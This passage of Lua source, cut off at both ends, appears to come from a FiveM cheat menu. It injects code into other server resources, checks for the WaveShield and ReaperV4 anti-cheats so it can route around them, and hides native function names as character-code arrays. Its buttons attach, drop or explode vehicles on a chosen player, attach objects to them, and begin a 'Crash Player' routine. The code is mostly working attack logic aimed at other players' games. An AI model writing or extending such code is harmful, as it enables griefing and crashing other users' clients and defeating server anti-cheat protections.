nearbyVehicle, targetPed, boneIndex, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) safeCall(SetEntityCollision, nearbyVehicle, false, false) safeCall(SetEntityAsMissionEntity, nearbyVehicle, true, true) safeCall(Wait, 500) safeCall(SetEntityCoords, myPed, myOriginalCoords.x, myOriginalCoords.y, myOriginalCoords.z, false, false, false, true) safeCall(SetEntityVisible, myPed, true, 0) end end else -- Use Macho injection when WaveShield is not running VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local AttachEntityToEntity = _G.AttachEntityToEntity or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetPedBoneIndex = _G.GetPedBoneIndex or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityAlpha = _G.SetEntityAlpha or function(...) end local ResetEntityAlpha = _G.ResetEntityAlpha or function(...) end local targetPlayerId = %d local targetPed = safeCall(GetPlayerPed, targetPlayerId) if not safeCall(DoesEntityExist, targetPed) then return end local targetCoords = safeCall(GetEntityCoords, targetPed) local nearbyVehicle = nil local searchRadius = {500.0, 300.0, 150.0, 100.0, 50.0, 25.0, 10.0} -- Method 1: Check if target is already in a vehicle local targetVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if targetVehicle and targetVehicle ~= 0 and safeCall(DoesEntityExist, targetVehicle) then nearbyVehicle = targetVehicle end -- Method 2: Search for nearby vehicles if not nearbyVehicle then for i = 1, #searchRadius do nearbyVehicle = safeCall(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, searchRadius[i], 0, 70) if nearbyVehicle and nearbyVehicle ~= 0 and safeCall(DoesEntityExist, nearbyVehicle) then break end end end -- If still no vehicle, try alternative method if not nearbyVehicle or nearbyVehicle == 0 then local playerVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if playerVehicle and playerVehicle ~= 0 then nearbyVehicle = playerVehicle else return end end -- Final validation if not nearbyVehicle or nearbyVehicle == 0 or not safeCall(DoesEntityExist, nearbyVehicle) then return end -- Get my ped and store original position local myPed = safeCall(PlayerPedId) local myOriginalCoords = safeCall(GetEntityCoords, myPed) local myOriginalHeading = safeCall(GetEntityHeading, myPed) -- Gain control by putting myself in the vehicle (like Bug Player 2) safeCall(NetworkRequestControlOfEntity, nearbyVehicle) safeCall(Wait, 100) safeCall(SetPedIntoVehicle, myPed, nearbyVehicle, -1) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) -- Now attach the vehicle to the target player safeCall(CreateThread, function() -- Get bone index for attachment (spine/chest area) local boneIndex = safeCall(GetPedBoneIndex, targetPed, 24816) -- Attach vehicle to player local success = safeCall(AttachEntityToEntity, nearbyVehicle, targetPed, boneIndex, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) if success then safeCall(SetEntityCollision, nearbyVehicle, false, false) safeCall(SetEntityAsMissionEntity, nearbyVehicle, true, true) end -- Restore me to original location (like Bug Player 2) safeCall(Wait, 500) safeCall(SetEntityCoords, myPed, myOriginalCoords.x, myOriginalCoords.y, myOriginalCoords.z, false, false, false, true) safeCall(SetEntityHeading, myPed, myOriginalHeading) -- Make me visible again safeCall(SetEntityVisible, myPed, true, 0) safeCall(SetEntityAlpha, myPed, 255, 0) safeCall(ResetEntityAlpha, myPed) end) ]], targetPlayer.localId)) end -- Notification if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Attaching nearby vehicle to " .. targetPlayer.name .. "!", type = 'success' })) end end }, { label = 'Drop Nearby Car on Player', type = 'button', canBind = true, bindName = 'Drop Car', onConfirm = function() if not selectedPlayerId then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end return end -- Find target player local targetPlayer = nil for _, player in ipairs(playerList) do if player.id == selectedPlayerId then targetPlayer = player break end end if not targetPlayer then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Target player not found!", type = 'error' })) end return end -- Safety check for targetPlayer.localId if not targetPlayer.localId then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid target player ID!", type = 'error' })) end return end -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsdasadsdasadsas") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local Wait = _G.Wait or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local targetPed = safeCall(GetPlayerPed, targetPlayer.localId) if safeCall(DoesEntityExist, targetPed) then local targetCoords = safeCall(GetEntityCoords, targetPed) local nearbyVehicle = safeCall(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70) if not nearbyVehicle or nearbyVehicle == 0 then nearbyVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) end if nearbyVehicle and nearbyVehicle ~= 0 and safeCall(DoesEntityExist, nearbyVehicle) then local myPed = safeCall(PlayerPedId) local myOriginalCoords = safeCall(GetEntityCoords, myPed) safeCall(NetworkRequestControlOfEntity, nearbyVehicle) safeCall(Wait, 100) safeCall(SetPedIntoVehicle, myPed, nearbyVehicle, -1) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) safeCall(Wait, 100) safeCall(SetEntityCoords, myPed, myOriginalCoords.x, myOriginalCoords.y, myOriginalCoords.z, false, false, false, true) safeCall(SetEntityVisible, myPed, true, 0) safeCall(SetEntityCoords, nearbyVehicle, targetCoords.x, targetCoords.y, targetCoords.z + 10.0, false, false, false, true) safeCall(SetEntityVisible, nearbyVehicle, true, 0) end end else -- Use Macho injection when WaveShield is not running VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityAlpha = _G.SetEntityAlpha or function(...) end local ResetEntityAlpha = _G.ResetEntityAlpha or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local targetPlayerId = %d local targetPed = safeCall(GetPlayerPed, targetPlayerId) if not safeCall(DoesEntityExist, targetPed) then return end local targetCoords = safeCall(GetEntityCoords, targetPed) local nearbyVehicle = nil local searchRadius = {500.0, 300.0, 150.0, 100.0, 50.0, 25.0, 10.0} -- Method 1: Check if target is already in a vehicle local targetVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if targetVehicle and targetVehicle ~= 0 and safeCall(DoesEntityExist, targetVehicle) then nearbyVehicle = targetVehicle end -- Method 2: Search for nearby vehicles if not nearbyVehicle then for i = 1, #searchRadius do nearbyVehicle = safeCall(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, searchRadius[i], 0, 70) if nearbyVehicle and nearbyVehicle ~= 0 and safeCall(DoesEntityExist, nearbyVehicle) then break end end end -- If still no vehicle, try alternative method if not nearbyVehicle or nearbyVehicle == 0 then local playerVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if playerVehicle and playerVehicle ~= 0 then nearbyVehicle = playerVehicle else return end end -- Final validation if not nearbyVehicle or nearbyVehicle == 0 or not safeCall(DoesEntityExist, nearbyVehicle) then return end -- Get my ped and store original position local myPed = safeCall(PlayerPedId) local myOriginalCoords = safeCall(GetEntityCoords, myPed) local myOriginalHeading = safeCall(GetEntityHeading, myPed) -- Gain control by putting myself in the vehicle (like Bug Player 2) safeCall(NetworkRequestControlOfEntity, nearbyVehicle) safeCall(Wait, 100) safeCall(SetPedIntoVehicle, myPed, nearbyVehicle, -1) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) -- Now drop the vehicle on the player from the sky safeCall(CreateThread, function() -- Get target's current position local currentTargetCoords = safeCall(GetEntityCoords, targetPed) -- First, restore me to my original location BEFORE moving the vehicle safeCall(SetEntityCoords, myPed, myOriginalCoords.x, myOriginalCoords.y, myOriginalCoords.z, false, false, false, true) safeCall(SetEntityHeading, myPed, myOriginalHeading) safeCall(SetEntityVisible, myPed, true, 0) safeCall(SetEntityAlpha, myPed, 255, 0) safeCall(ResetEntityAlpha, myPed) safeCall(Wait, 100) -- Now teleport vehicle high above the target player (10m as requested) safeCall(SetEntityCoords, nearbyVehicle, currentTargetCoords.x, currentTargetCoords.y, currentTargetCoords.z + 10.0, false, false, false, true) -- Make sure vehicle is visible and has physics safeCall(SetEntityVisible, nearbyVehicle, true, 0) safeCall(SetEntityAlpha, nearbyVehicle, 255, 0) safeCall(ResetEntityAlpha, nearbyVehicle) end) ]], targetPlayer.localId)) end -- Notification if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Dropping nearby car on " .. targetPlayer.name .. "!", type = 'success' })) end end }, { label = 'Explode Player with Nearby Vehicle', type = 'button', canBind = true, bindName = 'Explode Player', onConfirm = function() if not selectedPlayerId then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end return end -- Find target player local targetPlayer = nil for _, player in ipairs(playerList) do if player.id == selectedPlayerId then targetPlayer = player break end end if not targetPlayer then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Target player not found!", type = 'error' })) end return end -- Safety check for targetPlayer.localId if not targetPlayer.localId then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid target player ID!", type = 'error' })) end return end -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("asdsadsadsadsad") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetPedInVehicleSeat = _G.GetPedInVehicleSeat or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local Wait = _G.Wait or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityHealth = _G.SetEntityHealth or function(...) end local SetVehicleEngineHealth = _G.SetVehicleEngineHealth or function(...) end local SetVehicleBodyHealth = _G.SetVehicleBodyHealth or function(...) end local SetVehiclePetrolTankHealth = _G.SetVehiclePetrolTankHealth or function(...) end local SetEntityVelocity = _G.SetEntityVelocity or function(...) end local ApplyDamageToEntity = _G.ApplyDamageToEntity or function(...) end local targetPed = safeCall(GetPlayerPed, targetPlayer.localId) if safeCall(DoesEntityExist, targetPed) then local targetCoords = safeCall(GetEntityCoords, targetPed) local nearbyVehicle = safeCall(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70) if not nearbyVehicle or nearbyVehicle == 0 then nearbyVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) end if nearbyVehicle and nearbyVehicle ~= 0 and safeCall(DoesEntityExist, nearbyVehicle) then local driver = safeCall(GetPedInVehicleSeat, nearbyVehicle, -1) local passenger1 = safeCall(GetPedInVehicleSeat, nearbyVehicle, 0) if (driver and driver ~= 0) or (passenger1 and passenger1 ~= 0) then return end local myPed = safeCall(PlayerPedId) local myOriginalCoords = safeCall(GetEntityCoords, myPed) safeCall(NetworkRequestControlOfEntity, nearbyVehicle) safeCall(Wait, 100) safeCall(SetPedIntoVehicle, myPed, nearbyVehicle, -1) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) safeCall(Wait, 100) safeCall(SetEntityCoords, myPed, myOriginalCoords.x, myOriginalCoords.y, myOriginalCoords.z, false, false, false, true) safeCall(SetEntityVisible, myPed, true, 0) safeCall(SetEntityCoords, nearbyVehicle, targetCoords.x, targetCoords.y, targetCoords.z + 20.0, false, false, false, true) safeCall(SetEntityHealth, nearbyVehicle, 1) safeCall(SetVehicleEngineHealth, nearbyVehicle, -4000.0) safeCall(SetVehicleBodyHealth, nearbyVehicle, -4000.0) safeCall(SetVehiclePetrolTankHealth, nearbyVehicle, -4000.0) safeCall(SetEntityVelocity, nearbyVehicle, 0.0, 0.0, -300.0) safeCall(ApplyDamageToEntity, nearbyVehicle, 2000, 1, 0, 0, 0, 0, 0, 0, true, true, true, true, 1) end end else -- Use Macho injection when WaveShield is not running VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityAlpha = _G.SetEntityAlpha or function(...) end local ResetEntityAlpha = _G.ResetEntityAlpha or function(...) end local SetEntityVelocity = _G.SetEntityVelocity or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetPedInVehicleSeat = _G.GetPedInVehicleSeat or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local SetEntityHealth = _G.SetEntityHealth or function(...) end local SetVehicleEngineHealth = _G.SetVehicleEngineHealth or function(...) end local SetVehicleBodyHealth = _G.SetVehicleBodyHealth or function(...) end local SetVehiclePetrolTankHealth = _G.SetVehiclePetrolTankHealth or function(...) end local SetVehicleDeformationFixed = _G.SetVehicleDeformationFixed or function(...) end local SetVehicleCanBreak = _G.SetVehicleCanBreak or function(...) end local SetVehicleCanBeVisiblyDamaged = _G.SetVehicleCanBeVisiblyDamaged or function(...) end local ApplyDamageToEntity = _G.ApplyDamageToEntity or function(...) end local targetPlayerId = %d local targetPed = safeCall(GetPlayerPed, targetPlayerId) if not safeCall(DoesEntityExist, targetPed) then return end local targetCoords = safeCall(GetEntityCoords, targetPed) local nearbyVehicle = nil local searchRadius = {500.0, 300.0, 150.0, 100.0, 50.0, 25.0, 10.0} -- Method 1: Check if target is already in a vehicle local targetVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if targetVehicle and targetVehicle ~= 0 and safeCall(DoesEntityExist, targetVehicle) then nearbyVehicle = targetVehicle end -- Method 2: Search for nearby vehicles if not nearbyVehicle then for i = 1, #searchRadius do nearbyVehicle = safeCall(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, searchRadius[i], 0, 70) if nearbyVehicle and nearbyVehicle ~= 0 and safeCall(DoesEntityExist, nearbyVehicle) then break end end end -- If still no vehicle, try alternative method if not nearbyVehicle or nearbyVehicle == 0 then local playerVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if playerVehicle and playerVehicle ~= 0 then nearbyVehicle = playerVehicle else return end end -- Check if there's a player in the vehicle local driver = safeCall(GetPedInVehicleSeat, nearbyVehicle, -1) local passenger1 = safeCall(GetPedInVehicleSeat, nearbyVehicle, 0) local passenger2 = safeCall(GetPedInVehicleSeat, nearbyVehicle, 1) local passenger3 = safeCall(GetPedInVehicleSeat, nearbyVehicle, 2) if (driver and driver ~= 0 and safeCall(DoesEntityExist, driver)) or (passenger1 and passenger1 ~= 0 and safeCall(DoesEntityExist, passenger1)) or (passenger2 and passenger2 ~= 0 and safeCall(DoesEntityExist, passenger2)) or (passenger3 and passenger3 ~= 0 and safeCall(DoesEntityExist, passenger3)) then return end -- Final validation if not nearbyVehicle or nearbyVehicle == 0 or not safeCall(DoesEntityExist, nearbyVehicle) then return end -- Get my ped and store original position local myPed = safeCall(PlayerPedId) local myOriginalCoords = safeCall(GetEntityCoords, myPed) local myOriginalHeading = safeCall(GetEntityHeading, myPed) -- Gain control by putting myself in the vehicle (like Bug Player 2) safeCall(NetworkRequestControlOfEntity, nearbyVehicle) safeCall(Wait, 100) safeCall(SetPedIntoVehicle, myPed, nearbyVehicle, -1) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) -- Now drop the vehicle hard to make it explode safeCall(CreateThread, function() -- Get target's current position local currentTargetCoords = safeCall(GetEntityCoords, targetPed) -- First, restore me to my original location BEFORE moving the vehicle safeCall(SetEntityCoords, myPed, myOriginalCoords.x, myOriginalCoords.y, myOriginalCoords.z, false, false, false, true) safeCall(SetEntityHeading, myPed, myOriginalHeading) safeCall(SetEntityVisible, myPed, true, 0) safeCall(SetEntityAlpha, myPed, 255, 0) safeCall(ResetEntityAlpha, myPed) safeCall(Wait, 100) -- Teleport vehicle high above the target player (20m for more impact) safeCall(SetEntityCoords, nearbyVehicle, currentTargetCoords.x, currentTargetCoords.y, currentTargetCoords.z + 20.0, false, false, false, true) -- Make sure vehicle is visible and has physics safeCall(SetEntityVisible, nearbyVehicle, true, 0) safeCall(SetEntityAlpha, nearbyVehicle, 255, 0) safeCall(ResetEntityAlpha, nearbyVehicle) -- Set vehicle to extremely low health so it explodes easily safeCall(SetEntityHealth, nearbyVehicle, 1) safeCall(SetVehicleEngineHealth, nearbyVehicle, -4000.0) safeCall(SetVehicleBodyHealth, nearbyVehicle, -4000.0) safeCall(SetVehiclePetrolTankHealth, nearbyVehicle, -4000.0) safeCall(SetVehicleDeformationFixed, nearbyVehicle) safeCall(SetVehicleCanBreak, nearbyVehicle, true) safeCall(SetVehicleCanBeVisiblyDamaged, nearbyVehicle, true) -- Add extremely hard downward velocity to make it hit harder safeCall(SetEntityVelocity, nearbyVehicle, 0.0, 0.0, -300.0) -- Apply massive damage to force explosion safeCall(ApplyDamageToEntity, nearbyVehicle, 2000, 1, 0, 0, 0, 0, 0, 0, true, true, true, true, 1) end) ]], targetPlayer.localId)) end -- Notification if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Exploding " .. targetPlayer.name .. " with vehicle!", type = 'success' })) end end }, { label = 'Attach Object on Player', type = 'scroll', selected = 1, canBind = true, bindName = 'Attach Object', options = { {label = 'Tree', model = 'prop_tree_pine_01'}, {label = 'Big Tree', model = 'prop_tree_oak_01'}, {label = 'Palm Tree', model = 'prop_palm_fan_03_a'}, {label = 'Pumpkin', model = 'prop_veg_crop_03_pump'}, {label = 'Giant Pumpkin', model = 'prop_veg_crop_03_cab'}, {label = 'Trash Can', model = 'prop_bin_08a'}, {label = 'Traffic Light', model = 'prop_traffic_03a'}, {label = 'Street Sign', model = 'prop_sign_road_01a'}, {label = 'Porta Potty', model = 'prop_portaloo_01a'}, {label = 'Dumpster', model = 'prop_dumpster_01a'}, {label = 'Big Crate', model = 'prop_box_wood05a'}, {label = 'Barrel', model = 'prop_barrel_02a'}, {label = 'Shopping Cart', model = 'prop_rub_trolley01a'}, {label = 'Beach Chair', model = 'prop_beach_lounger_01'}, {label = 'Couch', model = 'prop_couch_01'}, {label = 'Mattress', model = 'prop_matress_03'}, {label = 'UFO', model = 'p_spinning_anus_s'}, {label = 'Windmill', model = 'prop_windmill_01'}, {label = 'Water Tower', model = 'prop_watertower_01'}, {label = 'Container', model = 'prop_container_05a'} }, onConfirm = function(selectedObject) if selectedPlayerId then for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then ---("Attaching object to player:", player.name, "Object:", selectedObject.label) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsasdasdadsads") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local coords = GetEntityCoords(targetPed) local model = selectedObject.model local hash = GetHashKey(model) RequestModel(hash) local timeout = 0 while not HasModelLoaded(hash) and timeout < 500 do Wait(10) timeout = timeout + 1 end if HasModelLoaded(hash) then local obj = CreateObject(hash, coords.x, coords.y, coords.z, true, true, false) if DoesEntityExist(obj) then local boneIndex = GetPedBoneIndex(targetPed, 24816) -- SKEL_Spine3 AttachEntityToEntity(obj, targetPed, boneIndex, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) SetEntityCollision(obj, false, false) SetEntityAsMissionEntity(obj, true, true) end SetModelAsNoLongerNeeded(hash) end else -- Use Macho injection when WaveShield is not running -- Use same method as freecam object spawning local executions = { ["rcore_drunk"] = function() MachoInjectResourceRaw("rcore_drunk", string.format([[ local targetPed = GetPlayerPed(%d) if DoesEntityExist(targetPed) then local coords = GetEntityCoords(targetPed) local model = "%s" local hash = type(model) == "string" and GetHashKey(model) or model RequestModel(hash) while not HasModelLoaded(hash) do Citizen.Wait(0) end local obj = CreateObject(hash, coords.x, coords.y, coords.z, true, true, false) if DoesEntityExist(obj) then -- Attach to spine/chest area for better visibility local boneIndex = GetPedBoneIndex(targetPed, 24816) -- SKEL_Spine3 AttachEntityToEntity(obj, targetPed, boneIndex, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) SetEntityCollision(obj, false, false) SetEntityAsMissionEntity(obj, true, true) end end ]], player.localId, selectedObject.model)) end, ["es_extended"] = function() MachoInjectResourceRaw("es_extended", string.format([[ local targetPed = GetPlayerPed(%d) if DoesEntityExist(targetPed) then local coords = GetEntityCoords(targetPed) ESX.Game.SpawnObject('%s', coords, function(object) -- Attach to spine/chest area for better visibility local boneIndex = GetPedBoneIndex(targetPed, 24816) -- SKEL_Spine3 AttachEntityToEntity(object, targetPed, boneIndex, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) SetEntityCollision(object, false, false) SetEntityAsMissionEntity(object, true, true) end, true) end ]], player.localId, selectedObject.model)) end, ["fallback"] = function() local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end local enc_natives = { fn_a1 = {71,101,116,72,97,115,104,75,101,121}, fn_a2 = {82,101,113,117,101,115,116,77,111,100,101,108}, fn_a3 = {72,97,115,77,111,100,101,108,76,111,97,100,101,100}, fn_a4 = {67,114,101,97,116,101,79,98,106,101,99,116}, fn_a5 = {68,111,101,115,69,110,116,105,116,121,69,120,105,115,116}, fn_a6 = {71,101,116,80,108,97,121,101,114,80,101,100}, fn_a7 = {71,101,116,69,110,116,105,116,121,67,111,111,114,100,115}, fn_a8 = {65,116,116,97,99,104,69,110,116,105,116,121,84,111,69,110,116,105,116,121}, fn_a9 = {71,101,116,80,101,100,66,111,110,101,73,110,100,101,120}, fn_b1 = {83,101,116,69,110,116,105,116,121,67,111,108,108,105,115,105,111,110}, fn_b2 = {83,101,116,77,111,100,101,108,65,115,78,111,76,111,110,103,101,114,78,101,101,100,101,100} } SafeInjectResourceRaw(InjectionResource(), string.format([[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end local enc_natives = { fn_a1 = {71,101,116,72,97,115,104,75,101,121}, fn_a2 = {82,101,113,117,101,115,116,77,111,100,101,108}, fn_a3 = {72,97,115,77,111,100,101,108,76,111,97,100,101,100}, fn_a4 = {67,114,101,97,116,101,79,98,106,101,99,116}, fn_a5 = {68,111,101,115,69,110,116,105,116,121,69,120,105,115,116}, fn_a6 = {71,101,116,80,108,97,121,101,114,80,101,100}, fn_a7 = {71,101,116,69,110,116,105,116,121,67,111,111,114,100,115}, fn_a8 = {65,116,116,97,99,104,69,110,116,105,116,121,84,111,69,110,116,105,116,121}, fn_a9 = {71,101,116,80,101,100,66,111,110,101,73,110,100,101,120}, fn_b1 = {83,101,116,69,110,116,105,116,121,67,111,108,108,105,115,105,111,110}, fn_b2 = {83,101,116,77,111,100,101,108,65,115,78,111,76,111,110,103,101,114,78,101,101,100,101,100} } local targetPed = g(enc_natives.fn_a6)(%d) if g(enc_natives.fn_a5)(targetPed) then local coords = g(enc_natives.fn_a7)(targetPed) local model = g(enc_natives.fn_a1)("%s") g(enc_natives.fn_a2)(model) local timeout = 0 while not g(enc_natives.fn_a3)(model) and timeout < 500 do Citizen.Wait(10) timeout = timeout + 1 end if g(enc_natives.fn_a3)(model) then local obj = g(enc_natives.fn_a4)(model, coords.x, coords.y, coords.z, true, true, false) if g(enc_natives.fn_a5)(obj) then -- Attach to spine/chest area for better visibility local boneIndex = g(enc_natives.fn_a9)(targetPed, 24816) -- SKEL_Spine3 g(enc_natives.fn_a8)(obj, targetPed, boneIndex, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) g(enc_natives.fn_b1)(obj, false, false) g(enc_natives.fn_b2)(model) end end end ]], player.localId, selectedObject.model)) end } local executed = false -- Try methods in order if not executed and GetResourceState("ReaperV4") ~= "started" and GetResourceState("WaveShield") ~= "started" then if GetResourceState("es_extended") == "started" and executions["es_extended"] then executions["es_extended"]() executed = true end end if not executed and GetResourceState("ReaperV4") == "started" then if GetResourceState("rcore_drunk") == "started" and executions["rcore_drunk"] then executions["rcore_drunk"]() executed = true end end if not executed then if executions["fallback"] then executions["fallback"]() executed = true end end end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Attached " .. selectedObject.label .. " to " .. player.name, type = 'success' })) end end break end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected!", type = 'warn' })) end end end }, { label = 'Crash Player (Risky)', type = 'button', canBind = true, bindName = 'Crash Player', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then ---("Initiating crash on player:", player.name, "ID:", selectedPlayerId) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsasdsaddsadsadsa") == "started" if not waveShieldRunning then -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), string.format([[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end -- Encoded natives local enc_natives = { fn_e1 = {80,108,97,121,101,114,80,101,100,73,100}, -- PlayerPedId fn_e2 = {71,101,116,69,110,116,105,116,121,67,111,111,114,100,115}, -- GetEntityCoords fn_g3 = {71,101,116,72,97,115,104,75,101,121}, -- GetHashKey fn_g5 = {82,101,113,117,101,115,116,77,111,100,101,108}, -- RequestModel fn_g6 = {72,97,115,77,111,100,101,108,76,111,97,100,101,100}, -- HasModelLoaded fn_c1 = {67,114,101,97,116,101,80,101,100}, -- CreatePed fn_f9 = {68,111,101,115,69,110,116,105,116,121,69,120,105,115,116}, -- DoesEntityExist fn_a1 = {71,101,116,65,99,116,105,118,101,80,108,97,121,101,114,115}, -- GetActivePlayers fn_a2 = {71,101,116,80,108,97,121,101,114,83,101,114,118,101,114,73,100}, -- GetPlayerServerId fn_a3 = {71,101,116,80,108,97,121,101,114,80,101,100}, -- GetPlayerPed fn_a4 = {78,101,116,119,111,114,107,73,115,80,108,97,121,101,114,65,99,116,105,118,101}, -- NetworkIsPlayerActive fn_a5 = {71,101,116,71,114,111,117,110,100,90,70,111,114,95,51,100,67,111,111,114,100}, -- GetGroundZFor_3dCoord fn_a6 = {83,101,116,69,110,116,105,116,121,65,108,112,104,97}, -- SetEntityAlpha fn_a7 = {83,101,116,69,110,116,105,116,121,86,105,115,105,98,108,101}, -- SetEntityVisible fn_a8 = {70,114,101,101,122,101,69,110,116,105,116,121,80,111,115,105,116,105,111,110}, -- 